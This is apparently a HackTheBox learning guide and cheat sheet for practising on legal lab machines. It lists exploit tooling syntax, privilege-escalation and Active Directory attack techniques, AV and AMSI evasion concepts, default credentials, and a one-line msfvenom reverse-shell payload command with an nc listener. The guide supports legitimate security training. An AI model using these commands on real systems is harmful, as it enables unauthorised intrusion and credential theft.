// what hackthebox is, how to get started, and how to think about the platform
HTB hosts intentionally vulnerable machines. You connect via VPN, attack them legally, and capture two files: user.txt (low-priv foothold) and root.txt (full system compromise). Flags are 32-char MD5 hashes submitted to the platform for points.
Download your .ovpn pack from Settings → VPN. Connect with openvpn --config htb.ovpn. Confirm with ip addr show tun0 — your HTB IP starts with 10.10.x.x. Never attack from your bare host OS.
HTB's browser-based Kali VM. No local setup needed. Use it on shared networks or when you can't install tools. It resets between sessions, so save your notes externally.
■ Easy — single vuln, guided path
■ Medium — chain 2–3 techniques
■ Hard — research + custom exploits
■ Insane — 0-day level thinking
Discipline from day one:
No flag sharing for Active machines. No DoS. No attacking other users. Retired machines have public writeups — use them to learn, never for active boxes. Bans are permanent.
// recommended machines by difficulty — start here
| Machine | Key Technique | What You Learn |
|---|---|---|
| Lame | Samba 3.0.20 RCE (CVE-2007-2447) | First Metasploit exploit, Linux enumeration |
| Blue | EternalBlue MS17-010 | Classic Windows SMB exploit workflow |
| Jerry | Tomcat Manager default creds | Web service abuse, WAR file deployment |
| Nibbles | Nibbleblog RCE + sudo abuse | CMS enumeration → privesc chain |
| Shocker | Shellshock (CGI + bash) | Bash vulnerability, CGI exploitation |
| Bashed | webshell + sudo env abuse | Enumeration, PATH manipulation |
| Beep | LFI on Elastix + Shellshock | Multiple entry points, pivoting choices |
| Networked | PHP file upload bypass + cronjob | MIME bypass, root via cron script |
| Machine | Key Technique | What You Learn |
|---|---|---|
| Blue | EternalBlue (MS17-010) | SMB exploit, Metasploit basics |
| Jerry | Apache Tomcat default creds | App server abuse, msfvenom WAR |
| Legacy | MS08-067 / MS17-010 | Old Windows XP exploitation |
| Devel | FTP + IIS RCE + MS11-046 | Anon FTP upload, Windows token privesc |
| Optimum | HttpFileServer RCE | searchsploit workflow, Windows RE |
| Grandpa / Granny | IIS WebDAV exploit | Old IIS abuse, token impersonation |
| Machine | Key Technique | Difficulty |
|---|---|---|
| Valentine | Heartbleed + SSH key from memory | Medium |
| Poison | LFI → log poisoning → RCE | Medium |
| Sense | pfSense CVE + sudo | Medium |
| Mirai | Raspberry Pi default creds | Medium |
| Cronos | DNS zone transfer + SQLi + cronjob | Medium |
| Solidstate | James SMTP RCE + restricted shell escape | Medium |
| Machine | Key Technique | Difficulty |
|---|---|---|
| Forest | ASREPRoast + DCSync | Easy |
| Active | GPP password + Kerberoast | Easy |
| Sauna | ASREPRoast + AutoLogon creds | Easy |
| Resolute | Password spray + DnsAdmin abuse | Medium |
| Cascade | LDAP enum + legacy MSSQL + AD recycle bin | Medium |
| Intelligence | PDF metadata + ADIDNS + constrained delegation | Medium |
| Monteverde | Azure AD Connect password dump | Medium |
// the repeatable process that works on every single machine
// every tool you need, when to use it, and the exact syntax
| Tool | Use Case | Key Syntax |
|---|---|---|
| nmap | Port scan, version detect, script scan | nmap -sV -sC -p- --min-rate 5000 IP |
| masscan | Ultra-fast port sweep (use before nmap) | masscan IP -p1-65535 --rate=5000 |
| enum4linux | SMB/Windows: users, shares, OS, groups | enum4linux -a IP |
| crackmapexec | SMB/LDAP/SSH mass enumeration + spray | cme smb IP -u user -p pass --shares |
| smbmap | SMB share permissions + file listing | smbmap -H IP -u anonymous |
| smbclient | Browse + download SMB shares | smbclient //IP/share -U user%pass |
| ldapsearch | LDAP enumeration (AD/LDAP services) | ldapsearch -x -H ldap://IP -b "dc=x,dc=com" |
| snmpwalk | SNMP enumeration (UDP 161) | snmpwalk -c public -v2c IP |
| dig | DNS queries + zone transfer attempts | dig axfr @IP domain.htb |
| nikto | Web server vuln scanner (noisy) | nikto -h http://IP |
| whatweb | Web tech fingerprinting | whatweb http://IP |
| Tool | Use Case | Key Syntax |
|---|---|---|
| gobuster | Web dir/file/vhost brute-force | gobuster dir -u URL -w wordlist -x php,txt |
| ffuf | Web fuzzer (fast, flexible filtering) | ffuf -u URL/FUZZ -w wordlist -mc 200,301 |
| feroxbuster | Recursive web brute-force (better for deep dirs) | feroxbuster -u URL -w wordlist |
| Burp Suite | HTTP proxy, repeater, intruder, decoder | Set browser proxy to 127.0.0.1:8080 |
| sqlmap | Automated SQL injection | sqlmap -u "URL?id=1" --dbs --level 3 |
| wfuzz | Web fuzzer (good for parameter fuzzing) | wfuzz -c -z file,wordlist URL/FUZZ |
| curl | Manual HTTP requests, header inspection | curl -v -X POST -d 'data' URL |
| wpscan | WordPress enumeration + vuln scan | wpscan --url URL --enumerate u,p,t |
| droopescan | Drupal/Joomla/SilverStripe scanning | droopescan scan drupal -u URL |
| Tool | Use Case | Key Syntax |
|---|---|---|
| Metasploit (msfconsole) | Framework with 2000+ modules | search type:exploit name:X → use → set → run |
| searchsploit | Offline ExploitDB search | searchsploit service 1.2.3 |
| msfvenom | Payload/shellcode generator | msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell |
| netcat (nc) | Listen for reverse shells | rlwrap nc -lvnp 4444 |
| pwncat-cs | Advanced reverse shell handler | pwncat-cs -lp 4444 |
| chisel | TCP/UDP tunneling over HTTP | chisel server -p 8000 --reverse |
| ligolo-ng | Tunneling/pivoting (cleaner than chisel) | agent → proxy → add route |
| Impacket | AD/Windows protocol attacks suite | python3 psexec.py domain/user:pass@IP |
| evil-winrm | WinRM shells (Windows port 5985) | evil-winrm -i IP -u user -p pass |
| ssh | Shells, port forwarding, tunneling | ssh -L localport:target:port user@hop |
| Tool | OS | Purpose |
|---|---|---|
| linPEAS | Linux | Comprehensive automated Linux PrivEsc enumeration. Color-coded output by severity. |
| winPEAS | Windows | Automated Windows PrivEsc checks. winPEASx64.exe quiet for cleaner output. |
| LinEnum | Linux | Older alternative to linPEAS. Less noise on some systems. |
| linux-exploit-suggester | Linux | Suggests kernel exploits for the current kernel version. |
| wesng (WES-NG) | Windows | Windows Exploit Suggester - Next Generation. Feed it systeminfo output. |
| GTFOBins | Linux | Reference: gtfobins.github.io — sudo/SUID/capability abuse |
| LOLBAS | Windows | Reference: lolbas-project.github.io — Windows living-off-the-land |
| pspy | Linux | Monitor running processes without root. Catch cronjob scripts in real time. |
| PowerUp.ps1 | Windows | PowerShell PrivEsc checks. Part of PowerSploit. Invoke-AllChecks. |
| SharpUp | Windows | C# port of PowerUp. Runs without PowerShell execution policy issues. |
| Tool | Hash Types | Key Syntax |
|---|---|---|
| hashcat | All types (GPU) | hashcat -m MODE hash.txt rockyou.txt -r best64.rule |
| john (JtR) | All types (CPU) | john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt |
| hash-identifier | — | Identify unknown hash format before cracking |
| haiti | — | Better hash identifier: haiti 'hash' |
| hydra | — | Online brute-force: hydra -l user -P wordlist ssh://IP |
| medusa | — | Alternative to hydra, better parallelism |
| ssh2john / zip2john | — | Convert file/key to hashcat/john crackable format |
// the most common attack surface on HTB — master these cold
Inject SQL syntax into input fields, URL params, or request bodies. Test with ' — if the app errors or behaves differently, it's likely injectable.
When an app includes files based on user input. LFI reads local files; RFI executes remote code.
Force the server to make requests on your behalf — to internal services, cloud metadata, or to read internal files.
When user input is rendered inside a template engine (Jinja2, Twig, Freemarker). Test by injecting math expressions.
When an app parses XML input and external entities are enabled. Can read local files, probe internal services (SSRF), or exfiltrate data out-of-band.
GraphQL APIs expose a self-documenting schema. Enumerate all types/queries first, then look for missing authorization, IDORs, and injection points in arguments.
When apps deserialize untrusted data without validation. Affects Java, PHP, Python, Ruby, .NET. Often delivers direct RCE. Look for base64 blobs in cookies, parameters, or request bodies.
Exploit discrepancies between how a front-end and back-end server parse HTTP request boundaries. Can bypass security controls, poison caches, hijack requests, and gain access to internal endpoints.
// from user to root/SYSTEM — every technique that shows up on HTB
The first thing you check. If you can run ANY command as root without a password, you can escalate. Visit GTFOBins for every binary.
Binaries with the SUID bit run as their owner (often root). Check GTFOBins for exploitation paths.
If a root cronjob runs a script you can write to, or uses relative paths, inject your payload.
Linux capabilities grant specific root powers to binaries. Dangerous ones include cap_setuid and cap_net_bind_service.
If an NFS share has no_root_squash, files created by root on your machine appear as root on target.
If a SUID binary loads a shared library from a writable path, replace the library.
Most common Windows PrivEsc. Service accounts often have this privilege. Use GodPotato (most modern), PrintSpoofer, or JuicyPotato depending on OS.
| CVE | Name | Affected | Notes |
|---|---|---|---|
| CVE-2021-4034 | PwnKit | Linux (pkexec) | Very reliable, almost universal on older HTB Linux boxes |
| CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 | Heap overflow in sudo, works on major distros |
| CVE-2016-5195 | Dirty COW | Linux kernel < 4.8.3 | Race condition, write to read-only mappings |
| CVE-2022-0847 | Dirty Pipe | Linux kernel 5.8-5.16 | Overwrite any read-only file incl. SUID binaries |
| MS17-010 | EternalBlue | Windows 7/Server 2008 | Classic HTB machine Blue, SMB RCE → SYSTEM |
| CVE-2019-1388 | UAC Bypass | Windows 7-10 | Certificate dialog LPE in older Windows |
/var/run/docker.sock is mounted inside the container, you can talk to the Docker daemon and spin up a privileged container that mounts the host filesystem.--privileged container has access to all host devices. You can mount the host disk and read/write any file, or abuse cgroup release_agent for RCE on the host.lxd group, you can create a privileged LXC container and mount the host root filesystem inside it.// the most valuable skillset on HTB — AD is everywhere in enterprise
Accounts with "Do not require Kerberos preauthentication" return encrypted TGTs that can be cracked offline.
Request TGS tickets for service accounts (SPNs). The ticket is encrypted with the service account's password hash — crack it offline.
Use an NTLM hash without cracking it to authenticate as that user.
Inject Kerberos tickets into your session to impersonate users.
Try one password against many users. Avoids lockout. Common on HTB AD boxes that have user lists available from LDAP/SMB.
If you have Replication privileges (DS-Replication-Get-Changes-All), you can replicate the AD database and get every password hash.
Forge Kerberos TGTs using the krbtgt hash. Gives permanent, invisible domain admin access.
BloodHound will reveal ACL misconfigurations. Common attack paths:
// every shell technique, upgrade trick, and pivoting method
// CTF-style challenges and misc techniques that appear on HTB
// what separates people who pop boxes from those who quit
If you've been stuck for 20+ minutes, you've missed something. Make a list: every service, every port, every user, every directory. Re-run scans with different options. The answer is always there.
Boxes are stories. A credential in a config file opens an SSH session. A username from SMB enables a password spray. A port you ignored 3 hours ago is the actual entry point. Keep asking: how does everything connect?
Set a 30-minute timer on any single path. If you have nothing after 30 minutes, explicitly stop, list what you haven't tried, and pivot. Depth is dangerous — breadth first.
Use Obsidian, Notion, CherryTree, or just a text file. Note every service version, username, password, interesting path, and error message. Patterns only emerge with a full picture.
Running a PoC you don't understand teaches nothing. Before using any exploit: read the CVE, understand the vulnerability class, trace the code. This makes you dangerous across all future boxes.
The frustration IS the learning. Every box that makes you feel stupid teaches you 10x more than one that fell in 30 minutes. The struggle builds intuition that can't be taught any other way.
// run through this before and during every machine
ip a show tun0~/htb/MachineName/{nmap,web,exploits,loot}/etc/hosts if found in nmap results or SSL certrlwrap nc -lvnp 4444) before triggering any exploit// honest estimates — assumes 1-2 hours of focused daily practice
// curated resources — quality over quantity
The Penetration Tester job-role path covers everything systematically with guided labs. Start here if you're new. The "Getting Started" module is free and excellent. Covers web, AD, PrivEsc, shells comprehensively.
The definitive HTB content creator. Walkthroughs of every retired machine. Watch his process: how he reads nmap output, what he investigates first, how he thinks when stuck. Best free resource bar none.
More guided than HTB — better for absolute beginners. Complete the Pre-Security path, then Jr Penetration Tester before returning to HTB machines. Free tier is sufficient to start.
book.hacktricks.xyz — comprehensive attack wiki. When you find a weird service or technology, search here immediately. Covers every protocol, OS, and attack vector with concrete commands.
Always open while working. gtfobins.github.io for Linux sudo/SUID/capability abuse. lolbas-project.github.io for Windows living-off-the-land binaries. Bookmark both.
github.com/danielmiessler/SecLists — the wordlist collection. Install: sudo apt install seclists. Has wordlists for directories, usernames, passwords, FTP/SSH, API fuzzing, LFI paths, and more.
Generate reverse shell payloads in any language with your IP/port pre-filled. Filter by OS, language, or encoding. Massive time saver. Also generates upgrade commands automatically.
gchq.github.io/CyberChef — Swiss army knife for data transformation. Base64, hex, XOR, AES decrypt, JWT decode, regex, format conversion, all chainable. Lives permanently in your browser tabs.
// the fastest route from zero to consistently hacking medium machines
Non-negotiable prerequisites. You can't hack without CLI fluency. Learn: file navigation, permissions, users, processes, grep/awk/sed, bash scripting basics, TCP/IP, DNS, HTTP. TryHackMe "Pre-Security" covers all of this.
For each machine: try solo for 30 minutes → watch IppSec → do it again from scratch without notes. Focus on understanding the why, not just repeating the commands. Start: Lame, Jerry, Blue, Nibbles, Shocker, Beep, Bashed, Networked.
Complete HTB Academy's "Web Attacks" module. Supplement with PortSwigger Web Security Academy labs (free, best web hacking practice anywhere). Focus on SQLi, XSS, SSRF, file upload, command injection, IDOR. You will encounter all of these on real boxes.
Take TryHackMe "Linux PrivEsc" and "Windows PrivEsc" rooms. Then do HTB Academy's PrivEsc modules. Memorize the sudo -l → GTFOBins workflow. Know potato attacks cold. Practice on dedicated PrivEsc machines before real HTB boxes.
By now you have the foundation. Attempt currently active machines before looking at any hints. Use only HackTricks for technique research. When stuck, enumerate more — hints are for after you've exhausted your options.
Complete HTB Academy's "Active Directory Enumeration & Attacks" path. Do Forest, Active, Sauna, Resolute in order. Learn BloodHound deeply — it changes how you see AD networks. This is the highest-ROI skill for real-world pentesting.
Consider OSCP (Offensive Security Certified Professional) — the gold standard. HTB practice maps directly to OSCP exam style. Also consider eJPT (entry level) → eCPPT (intermediate) → OSCP (professional).
// smash the stack — from crash to shell step by step
| Technique | Protections Bypassed | When to Use |
|---|---|---|
| ret2shellcode | None (stack exec required) | No NX, no ASLR. Classic CTF bof. |
| ret2libc | NX/DEP | NX on, no PIE/ASLR. Call system("/bin/sh"). |
| ROP chain | NX/DEP | Build call chain from binary gadgets. |
| ret2plt | NX, partial ASLR | Call PLT stubs to leak libc addresses. |
| Stack pivot | Limited overflow | Redirect RSP to a controlled region. |
| Format string | Canary, ASLR | Leak values from stack, overwrite GOT. |
| Heap exploitation | Stack canary | Use-after-free, double free, tcache poisoning. |
// getting past Windows Defender, AMSI, and EDR on harder boxes
AV scans file bytes against a database. Metasploit stageless payloads are instantly flagged. Solution: encode, encrypt, or change the payload structure entirely.
Anti-Malware Scan Interface hooks PowerShell, .NET, WScript and others. Scans content in-memory before execution. Must be patched or bypassed before loading tools like Mimikatz via PS.
Windows telemetry that logs process activity for EDR solutions. Can be patched in-memory to blind EDR sensors, but this itself may be flagged on modern systems.
Modern AV watches what code does, not just what it looks like. Spawning cmd.exe from unexpected parents, reading LSASS, or calling suspicious API sequences triggers alerts.
// maintaining access after reboot — critical on real engagements, tested on harder HTB boxes
Forge a Kerberos TGT using krbtgt hash. Valid for 10 years by default. Survives password resets — only invalidated by rotating krbtgt hash twice.
// intelligence gathering before you touch the target — critical for Pro Labs and real engagements
hostname:target.com port:22.%.target.com. Reveals hidden subdomains.theHarvester -d target.com -b all.// reaching internal networks through a compromised host — essential for Pro Labs and multi-host HTB chains
// the right wordlist beats brute force every time — know how to build and tune them
| Wordlist | Best For | Size | Location |
|---|---|---|---|
| rockyou.txt | Password cracking (most HTB boxes) | 14M | /usr/share/wordlists/rockyou.txt |
| raft-medium-words | Web dir/file fuzzing — balanced speed/coverage | 63k | SecLists/Discovery/Web-Content/ |
| raft-large-words | Web fuzzing — thorough scan | 119k | SecLists/Discovery/Web-Content/ |
| directory-list-2.3-medium | DirBuster-style dir brute force | 220k | SecLists/Discovery/Web-Content/ |
| subdomains-top1million | Subdomain/vhost enumeration | 1M | SecLists/Discovery/DNS/ |
| LFI-Jhaddix.txt | LFI path traversal fuzzing | 920 | SecLists/Fuzzing/LFI/ |
| api/api-endpoints | REST API endpoint discovery | 14k | SecLists/Discovery/Web-Content/api/ |
| common-snmp-community-strings | SNMP community string brute force | 120 | SecLists/Discovery/SNMP/ |
| Default-Credentials | Default username/password combos | varies | SecLists/Passwords/Default-Credentials/ |
| xato-net-10-million-passwords | Password spraying (better variety than rockyou) | 10M | SecLists/Passwords/ |
| best64.rule | hashcat rule — transforms words (case, append numbers) | — | /usr/share/hashcat/rules/best64.rule |
| dive.rule | hashcat rule — more aggressive transforms | — | /usr/share/hashcat/rules/dive.rule |
// the commands you reach for every single session — click any command to copy
// click a machine to mark as owned — tracks your progress
// how to attack every common service you'll encounter — beyond basic enumeration
| App | Default Path | Default Creds | Attack Vector |
|---|---|---|---|
| phpMyAdmin | /phpmyadmin | root:blank, root:root | SQL → OUTFILE webshell |
| Webmin | :10000 | root:root | CVE-2019-15107 RCE (unauth) |
| Splunk | :8000 | admin:changeme | Custom app → shell upload |
| Kibana | :5601 | elastic:changeme | CVE-2019-7609 prototype pollution |
| Grafana | :3000 | admin:admin | CVE-2021-43798 path traversal |
| GitLab | :80 | root:5iveL!fe | SSRF, RCE CVE-2021-22205 |
| WordPress | /wp-admin | admin:admin | wpscan, theme/plugin RCE |
| Drupal | /admin | admin:admin | Drupalgeddon2 CVE-2018-7600 |
| IIS | :80/:443 | — | WebDAV, PUT method, ShortName |
| Werkzeug | /console | PIN required | PIN calculation exploit |
// writing up your findings — essential for OSCP, certifications, and real engagements
| Tool | Best For | Platform | Sync |
|---|---|---|---|
| Obsidian | Linked notes, graph view, templates | Desktop | Local/iCloud/Git |
| CherryTree | Hierarchical notes, rich text + code | Desktop | Local .ctb file |
| Notion | Collaborative, databases, templates | Web/Desktop | Cloud |
| Joplin | Open-source, Markdown, E2E encrypted | Desktop/Mobile | Self-hosted/Cloud |
| Logsec | Daily logs, outliner, linked references | Desktop/Web | Local/Git |
| Plain text + tmux | Speed, no friction, always available | Terminal | Git |
Always capture whoami + hostname + ip a + the flag in a single terminal window. For OSCP, include the date with date && whoami && hostname && cat proof.txt.
Screenshot the vulnerable request in Burp Suite, the exploit running, or the error message that revealed the vulnerability. Annotate what's important.
Capture nmap output, interesting directory listings, credential files found. These tell the story of how you found the path.
Screenshot rabbit holes with timestamps. In a real engagement, documenting what you tested and ruled out is as important as what you found.
// your structured path from complete beginner to solving HTB machines solo
Navigate Linux confidently, understand basic networking, set up your hacking environment, and complete guided HTB labs.
Solve Easy HTB machines independently, exploit common web vulnerabilities, perform privilege escalation on Linux and Windows.
Tackle Medium machines, understand Active Directory attacks, work through CTF challenges across multiple categories.
Attempt Hard machines, contribute to team CTFs, pursue OSCP or HTB CPTS certification with a real chance of passing.
sudo openvpn your_pack.ovpn — confirm ip a show tun0 shows an IPsudo apt install seclists -ypip install pwncat-cs// everything you need to be fluent at the command line before you start hacking
// understanding networks is what makes nmap output meaningful
// every term you'll encounter, explained in plain language
// what ctfs are, how they work, and how to get your first flag
Capture The Flag is a competitive cybersecurity challenge. You solve puzzles and hack intentionally vulnerable systems to find hidden "flags" — strings like HTB{s0m3_r4nd0m_h4sh} — and submit them for points.
HTB machines give two flags per box: user.txt (low-priv access) and root.txt (full control). CTF competitions add more categories.
HTB Machines — real-world attack simulation. Enumerate a network service, exploit it, escalate. The skills transfer directly to real pentesting.
CTF Competitions (PicoCTF, CTFtime.org) — puzzle-based. Include crypto, reverse engineering, forensics, and web challenges. Often more creative and less "realistic" than HTB.
Go to HTB → Machines → filter by Easy + Retired. Start Lame (Linux) or Jerry (Windows). Retired machines have official writeups and IppSec videos — perfect for learning.
Read every line. Note every service and version. That's your attack surface.
Search each service+version in searchsploit. For Lame: Samba 3.0.20 has a well-known RCE. Look it up, understand what it does, then exploit it. Aim to understand the vulnerability — not just run the exploit.
Copy the flag string and submit it on the HTB machine page. You just hacked your first box. 🎉
Even one paragraph. "I scanned, found X, exploited Y, got shell as Z, found flag at W." Writing this cements the learning and builds your personal reference library.
| Platform | Why Start Here | Free? | Best For |
|---|---|---|---|
| OverTheWire Bandit | Pure Linux CLI practice, no hacking needed yet | ✓ Free | Week 1 — Linux basics |
| TryHackMe | Fully guided rooms, explain concepts step-by-step | ✓ Free tier | Weeks 1-4 — guided learning |
| HTB Academy | Structured modules with built-in labs, written by HTB | ✓ Free tier | Weeks 2-6 — structured path |
| PortSwigger Web Academy | Best free web hacking labs anywhere, period | ✓ Free | Week 4 — web attacks |
| HackTheBox (Retired) | Real machines with writeups available for reference | ✓ Free | Week 3+ — real hacking |
| PicoCTF | Beginner CTF competitions with hints, great community | ✓ Free | Any time — CTF practice |
| HackTheBox (Active) | Current machines, no writeups, solve solo | ✓ Free | Week 6+ — test yourself |